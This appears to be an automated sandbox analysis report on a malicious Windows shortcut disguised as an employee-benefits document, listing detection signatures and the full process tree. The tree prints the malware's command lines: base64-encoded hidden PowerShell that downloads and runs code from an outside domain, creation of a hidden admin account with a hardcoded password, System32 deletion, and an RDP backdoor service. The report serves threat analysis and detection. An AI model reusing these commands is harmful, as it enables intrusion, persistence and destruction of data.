Edit tour
Windows
Analysis Report
ny.lnk.d.lnk
Overview
General Information
| Sample name: | ny.lnk.d.lnkrenamed because original name is a hash value |
| Original sample name: | Comprehensive details on benefits and policies for senior employees during their tenure with the Company.lnk.d.lnk |
| Analysis ID: | 1578267 |
| MD5: | 6c28ee9da90d10710faecafc3bae173b |
| SHA1: | ad12270b640f388c27dcd071f163ea636ca4709c |
| SHA256: | e2e84b65af1fc49bdfa5d3c3a0793cf7632af91511aa8c16797770aabb5d6a99 |
| Tags: | 23-88-71-29akademiiiiiiii-onlinelnkuser-JAMESWT_MHT |
| Infos: |   |
 | |
Detection
| Score: | 100 |
| Range: | 0 - 100 |
| Whitelisted: | false |
| Confidence: | 100% |
Signatures
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
Windows shortcut file (LNK) starts blacklisted processes
AI detected suspicious sample
Allows multiple concurrent remote connection
Bypasses PowerShell execution policy
Encrypted powershell cmdline option found
Found suspicious powershell code related to unpacking or dynamic code loading
Loading BitLocker PowerShell Module
Modifies security policies related information
PowerShell case anomaly found
Powershell drops PE file
Queries memory information (via WMI often done to detect virtual machines)
Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)
Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)
Queries sensitive physical memory information (via WMI, Win32_PhysicalMemory, often done to detect virtual machines)
Queries sensitive service information (via WMI, Win32_LogicalDisk, often done to detect sandboxes)
Reads the Security eventlog
Reads the System eventlog
Sigma detected: Invoke-Obfuscation STDIN+ Launcher
Sigma detected: PowerShell Base64 Encoded IEX Cmdlet
Sigma detected: Suspicious Encoded PowerShell Command Line
Sigma detected: Suspicious New Service Creation
Sigma detected: Suspicious PowerShell Encoded Command Patterns
Sigma detected: Suspicious PowerShell Invocations - Specific - PowerShell Module
Sigma detected: Suspicious PowerShell Parameter Substring
Suspicious powershell command line found
Uses known network protocols on non-standard ports
Uses regedit.exe to modify the Windows registry
AV process strings found (often used to terminate AV products)
Allocates memory with a write watch (potentially for evading sandboxes)
Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)
Checks if the current process is being debugged
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates files inside the system directory
Creates or modifies windows services
Deletes files inside the Windows folder
Detected TCP or UDP traffic on non-standard ports
Detected potential crypto function
Dropped file seen in connection with other malware
Drops PE files
Drops PE files to the windows directory (C:\Windows)
Enables debug privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
HTTP GET or POST without a user agent
IP address seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
PE file contains sections with non-standard names
PE file contains strange resources
Queries disk information (often used to detect virtual machines)
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sigma detected: Change PowerShell Policies to an Insecure Level
Sigma detected: Suspicious Execution of Powershell with Base64
Sigma detected: Suspicious PowerShell Invocations - Specific - ProcessCreation
Suricata IDS alerts with low severity for network traffic
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Yara signature match
Classification
- System is w10x64
cmd.exe (PID: 2360 cmdline: "C:\Window s\system32 \cmd.exe" /c "STaRT /MiN "" PO werShElL - WIndowStYL e HIddEn - EnCoDeDCOM mand "SQBF AFgAIAAoAF sAVABFAHgA dAAuAEUAbg BDAE8AZABp AG4ARwBdAD oAOgBVAFQA RgA4AC4ARw BlAHQAUwB0 AFIASQBOAE cAKAAoAEkA VwByACAAIg BoAHQAdABw AHMAOgAvAC 8AYQBrAGEA ZABlAG0AaQ BpAGkAaQBp AGkAaQBpAC 4AbwBuAGwA aQBuAGUALw B0AC8ANgBk AGUAZgA2AD cAYgBkADUA OAAzADEAOA BhADUAOQAz ADgAMwBiAG IAMAA2ADkA MwA5ADUAYg A0ADkANwBi ADEAMwBiAD EAZQBlADMA YgBjADMAOQ AzAGIAOABj AGYAOAAzAD YANQA2AGMA NABjAGQANw BkADIAMwAz ADUAMQAiAC kALgBDAE8A bgB0AEUAbg B0AC4ARgBP AFIARQBhAG MASAAoAHsA JABfACAALQ BCAFgAbwBS ACAAMQB9AC kAKQApAA== "" && exit MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - conhost.exe (PID: 1396 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) 
powershell.exe (PID: 2332 cmdline: POwerShElL -WIndowSt YLe HIddEn -EnCoDeDC OMmand "SQ BFAFgAIAAo AFsAVABFAH gAdAAuAEUA bgBDAE8AZA BpAG4ARwBd ADoAOgBVAF QARgA4AC4A RwBlAHQAUw B0AFIASQBO AEcAKAAoAE kAVwByACAA IgBoAHQAdA BwAHMAOgAv AC8AYQBrAG EAZABlAG0A aQBpAGkAaQ BpAGkAaQBp AC4AbwBuAG wAaQBuAGUA LwB0AC8ANg BkAGUAZgA2 ADcAYgBkAD UAOAAzADEA OABhADUAOQ AzADgAMwBi AGIAMAA2AD kAMwA5ADUA YgA0ADkANw BiADEAMwBi ADEAZQBlAD MAYgBjADMA OQAzAGIAOA BjAGYAOAAz ADYANQA2AG MANABjAGQA NwBkADIAMw AzADUAMQAi ACkALgBDAE 8AbgB0AEUA bgB0AC4ARg BPAFIARQBh AGMASAAoAH sAJABfACAA LQBCAFgAbw BSACAAMQB9 ACkAKQApAA ==" MD5: 04029E121A0CFA5991749937DD22A1D9) - conhost.exe (PID: 764 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - powershell.exe (PID: 1664 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -Version 5 .1 -s -NoL ogo -NoPro file MD5: 04029E121A0CFA5991749937DD22A1D9) - conhost.exe (PID: 2448 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) 
WINWORD.EXE (PID: 4816 cmdline: "C:\Progra m Files (x 86)\Micros oft Office \Root\Offi ce16\WINWO RD.EXE" /n "C:\Users \user\AppD ata\Local\ Temp\Detai led inform ation on p olicy bene fits and c ommission levels for employees after pro bationary period Sto rytailors. docx" /o " " MD5: 1A0C2C2E7D9C4BC18E91604E9B0C7678) - cmd.exe (PID: 4232 cmdline:
"C:\Window s\system32 \cmd.exe" /c start / min "" pow ershell.ex e -NoExit -WindowSty le Hidden -NoProfile -Executio nPolicy by pass -Enco dedCommand SQBFAFgAI AAoAFsAVAB lAHgAdAAuA EUAbgBjAG8 AZABpAG4AZ wBdADoAOgB VAFQARgA4A C4ARwBlAHQ AUwB0AHIAa QBuAGcAKAA oAEkAdwByA CAAIgBoAHQ AdABwADoAL wAvAGEAawB hAGQAZQBtA GkAaQBpAGk AaQBpAGkAa QAuAG8AbgB sAGkAbgBlA C8AdAAvAGY AZgA4ADQAN QA5ADQAOAB lAGUAMgBjA GMAYgBkAGE AMwAzAGEAY QBhAGYAMQA zAGUAYwA4A DcAMwBhADY AMgA5AGUAM gA4ADkAOQB jADMANgBlA DYAZQA4ADI AZABhADYAN ABjAGIAOQB mADgAOAAwA DEAMQA2ADA ANgAxADUAO AAxADEAYQA 3ADYAMwAzA DUAYwA3AGI AZgA4ADcAY QBkAGQAYgA 1ADAAZAA5A DIANwA3ADY AMwAwADgAN QA3ACIAKQA uAEMAbwBuA HQAZQBuAHQ ALgBGAG8Ac gBFAGEAYwB oACgAewAkA F8AIAAtAGI AeABvAHIAI AAxAH0AKQA pACkA MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - conhost.exe (PID: 4976 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - powershell.exe (PID: 5376 cmdline:
powershell .exe -NoEx it -Window Style Hidd en -NoProf ile -Execu tionPolicy bypass -E ncodedComm and SQBFAF gAIAAoAFsA VABlAHgAdA AuAEUAbgBj AG8AZABpAG 4AZwBdADoA OgBVAFQARg A4AC4ARwBl AHQAUwB0AH IAaQBuAGcA KAAoAEkAdw ByACAAIgBo AHQAdABwAD oALwAvAGEA awBhAGQAZQ BtAGkAaQBp AGkAaQBpAG kAaQAuAG8A bgBsAGkAbg BlAC8AdAAv AGYAZgA4AD QANQA5ADQA OABlAGUAMg BjAGMAYgBk AGEAMwAzAG EAYQBhAGYA MQAzAGUAYw A4ADcAMwBh ADYAMgA5AG UAMgA4ADkA OQBjADMANg BlADYAZQA4 ADIAZABhAD YANABjAGIA OQBmADgAOA AwADEAMQA2 ADAANgAxAD UAOAAxADEA YQA3ADYAMw AzADUAYwA3 AGIAZgA4AD cAYQBkAGQA YgA1ADAAZA A5ADIANwA3 ADYAMwAwAD gANQA3ACIA KQAuAEMAbw BuAHQAZQBu AHQALgBGAG 8AcgBFAGEA YwBoACgAew AkAF8AIAAt AGIAeABvAH IAIAAxAH0A KQApACkA MD5: 04029E121A0CFA5991749937DD22A1D9) - conhost.exe (PID: 3560 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
sppsvc.exe (PID: 5172 cmdline: C:\Windows \system32\ sppsvc.exe MD5: 320823F03672CEB82CC3A169989ABD12)
- svchost.exe (PID: 1320 cmdline:
C:\Windows \System32\ svchost.ex e -k netsv cs -p -s B ITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)
- svczHost.exe (PID: 7952 cmdline:
C:\Windows \Temp\svcz Host.exe n onbo1 akad emiiiiiiii .online 46 d578f8ebeb 0d298af9e0 abba20aa66 30bf759e37 8b0ee836f8 ea55b25f08 ca5a356b3d 6fb9759c48 7d3dc2b1e4 a371 MD5: A2B92A4EB02A185E863F4F17737A0CA7) - conhost.exe (PID: 7960 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - cmd.exe (PID: 8008 cmdline:
"cmd.exe" /c del /q "C:\Window s \System3 2\*" & rmd ir "C:\Win dows \Syst em32" & rm dir "C:\Wi ndows \" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - cmd.exe (PID: 8032 cmdline:
"cmd.exe" /c sc quer y myRdpSer vice MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - conhost.exe (PID: 8040 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - sc.exe (PID: 8076 cmdline:
sc query m yRdpServic e MD5: 3FB5CF71F7E7EB49790CB0E663434D80) - powershell.exe (PID: 8096 cmdline:
"powershel l.exe" -No Logo -NoPr ofile -Win dowStyle H idden -Exe cutionPoli cy bypass -EncodedCo mmand JABV AHMAZQByAG 4AYQBtAGUA IAA9ACAAIg BVAHMAZQBy ADEAIgA7AC QAcAB3AGQA IAA9ACAAIg AxADIAMwA0 ADUANgA3AD gAOQAhAEEA MQBhACIAOw AgACQAVQBz AGUAcgBQAG EAcgBhAG0A cwAgAD0AIA BAAHsAJwBO AGEAbQBlAC cAIAA9ACAA JABVAHMAZQ ByAG4AYQBt AGUAOwAgAC cAUABhAHMA cwB3AG8Acg BkACcAIAA9 ACAAKABDAG 8AbgB2AGUA cgB0AFQAbw AtAFMAZQBj AHUAcgBlAF MAdAByAGkA bgBnACAALQ BTAHQAcgBp AG4AZwAgAC QAcAB3AGQA IAAtAEEAcw BQAGwAYQBp AG4AVABlAH gAdAAgAC0A RgBvAHIAYw BlACkAOwAg ACcAUABhAH MAcwB3AG8A cgBkAE4AZQ B2AGUAcgBF AHgAcABpAH IAZQBzACcA IAA9ACAAJA B0AHIAdQBl AH0AOwBOAG UAdwAtAEwA bwBjAGEAbA BVAHMAZQBy ACAAQABVAH MAZQByAFAA YQByAGEAbQ BzADsAJABH AHIAbwB1AH AAUABhAHIA YQBtAHMAIA A9ACAAQAB7 ACcARwByAG 8AdQBwACcA IAA9ACAAJw BBAGQAbQBp AG4AaQBzAH QAcgBhAHQA bwByAHMAJw A7ACAAJwBN AGUAbQBiAG UAcgAnACAA PQAgACQAVQ BzAGUAcgBu AGEAbQBlAH 0AOwBBAGQA ZAAtAEwAbw BjAGEAbABH AHIAbwB1AH AATQBlAG0A YgBlAHIAIA BAAEcAcgBv AHUAcABQAG EAcgBhAG0A cwA7AA0ACg A= MD5: 04029E121A0CFA5991749937DD22A1D9) - conhost.exe (PID: 8104 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - cmd.exe (PID: 7472 cmdline:
"cmd.exe" /c sc quer y myRdpSer vice MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - conhost.exe (PID: 7484 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - sc.exe (PID: 7356 cmdline:
sc query m yRdpServic e MD5: 3FB5CF71F7E7EB49790CB0E663434D80) - cmd.exe (PID: 7544 cmdline:
"cmd.exe" /c sc dele te "myRdpS ervice" & SC CREATE "myRdpServ ice" binpa th= "C:\Wi ndows\Temp \myRdpServ ice.exe no nbo1" star t= auto & net start "myRdpServ ice" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - conhost.exe (PID: 2364 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - sc.exe (PID: 7540 cmdline:
sc delete "myRdpServ ice" MD5: 3FB5CF71F7E7EB49790CB0E663434D80) - sc.exe (PID: 7564 cmdline:
SC CREATE "myRdpServ ice" binpa th= "C:\Wi ndows\Temp \myRdpServ ice.exe no nbo1" star t= auto MD5: 3FB5CF71F7E7EB49790CB0E663434D80) - powershell.exe (PID: 2616 cmdline:
"powershel l.exe" -No Logo -NoPr ofile -Win dowStyle H idden -Exe cutionPoli cy bypass -EncodedCo mmand ZwBl AHQALQBzAG UAcgB2AGkA YwBlACAAIg BtAHkAUgBk AHAAUwBlAH IAdgBpAGMA ZQAiAA== MD5: 04029E121A0CFA5991749937DD22A1D9) - conhost.exe (PID: 2988 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
- myRdpService.exe (PID: 6884 cmdline:
C:\Windows \Temp\myRd pService.e xe nonbo1 MD5: 5641F3A5B9787F23D3D34F0D9F791B7A) 
regedit.exe (PID: 3548 cmdline: "regedit.e xe" /e "C: \Windows\T emp\regBac kup.reg" " HKEY_LOCAL _MACHINE\S YSTEM\Curr entControl Set\Servic es\TermSer vice" MD5: 999A30979F6195BF562068639FFC4426) - powershell.exe (PID: 2580 cmdline:
"powershel l.exe" -Co mmand "sys teminfo | Select-Str ing \"OS N ame\",\"OS Version\" ;" MD5: 04029E121A0CFA5991749937DD22A1D9) - conhost.exe (PID: 2924 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - systeminfo.exe (PID: 1224 cmdline:
"C:\Window s\system32 \systeminf o.exe" MD5: EE309A9C61511E907D87B10EF226FDCD) - cmd.exe (PID: 6348 cmdline:
/c powersh ell.exe -w hidden -n ologo -nop -ep bypas s -Encoded Command QQ BkAGQALQBU AHkAcABlAC AALQBBAHMA cwBlAG0AYg BsAHkATgBh AG0AZQAgAF MAeQBzAHQA ZQBtAC4AVw BpAG4AZABv AHcAcwAuAE YAbwByAG0A cwA7ACAAWw BTAHkAcwB0 AGUAbQAuAF cAaQBuAGQA bwB3AHMALg BGAG8AcgBt AHMALgBTAG MAcgBlAGUA bgBdADoAOg BBAGwAbABT AGMAcgBlAG UAbgBzACAA fAAgAEYAbw ByAEUAYQBj AGgALQBPAG IAagBlAGMA dAAgAHsAIA AiACQAKAAk AF8ALgBCAG 8AdQBuAGQA cwAuAFcAaQ BkAHQAaAAp AHgAJAAoAC QAXwAuAEIA bwB1AG4AZA BzAC4ASABl AGkAZwBoAH QAKQAiACAA fQAgAHwAIA BPAHUAdAAt AEYAaQBsAG UAIAAtAEYA aQBsAGUAUA BhAHQAaAAg ACIAQwA6AF wAVwBpAG4A ZABvAHcAcw BcAFQAZQBt AHAAXABkAH AAIgA= MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - conhost.exe (PID: 5956 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - powershell.exe (PID: 8044 cmdline:
powershell .exe -w hi dden -nolo go -nop -e p bypass - EncodedCom mand QQBkA GQALQBUAHk AcABlACAAL QBBAHMAcwB lAG0AYgBsA HkATgBhAG0 AZQAgAFMAe QBzAHQAZQB tAC4AVwBpA G4AZABvAHc AcwAuAEYAb wByAG0AcwA 7ACAAWwBTA HkAcwB0AGU AbQAuAFcAa QBuAGQAbwB 3AHMALgBGA G8AcgBtAHM ALgBTAGMAc gBlAGUAbgB dADoAOgBBA GwAbABTAGM AcgBlAGUAb gBzACAAfAA gAEYAbwByA EUAYQBjAGg ALQBPAGIAa gBlAGMAdAA gAHsAIAAiA CQAKAAkAF8 ALgBCAG8Ad QBuAGQAcwA uAFcAaQBkA HQAaAApAHg AJAAoACQAX wAuAEIAbwB 1AG4AZABzA C4ASABlAGk AZwBoAHQAK QAiACAAfQA gAHwAIABPA HUAdAAtAEY AaQBsAGUAI AAtAEYAaQB sAGUAUABhA HQAaAAgACI AQwA6AFwAV wBpAG4AZAB vAHcAcwBcA FQAZQBtAHA AXABkAHAAI gA= MD5: 04029E121A0CFA5991749937DD22A1D9)
- cleanup
⊘No configs have been found
| Source | Rule | Description | Author | Strings |
|---|---|---|---|---|
| hacktool_windows_moyix_creddump | creddump is a python tool to extract credentials and secrets from Windows registry hives. | @mimeframe |
| |
| INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC | Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution | ditekSHen |
| |
| INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC | Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution | ditekSHen |
| |
| INDICATOR_SUSPICIOUS_AMSI_Bypass | Detects AMSI bypass pattern | ditekSHen |
| |
| hacktool_windows_moyix_creddump | creddump is a python tool to extract credentials and secrets from Windows registry hives. | @mimeframe |
| |
| Click to see the 1 entries | ||||
| Source | Rule | Description | Author | Strings |
|---|---|---|---|---|
| hacktool_windows_moyix_creddump | creddump is a python tool to extract credentials and secrets from Windows registry hives. | @mimeframe |
|
System Summary |   |
|---|
| Source: | Author: Jonathan Cheong, oscd.community: | ||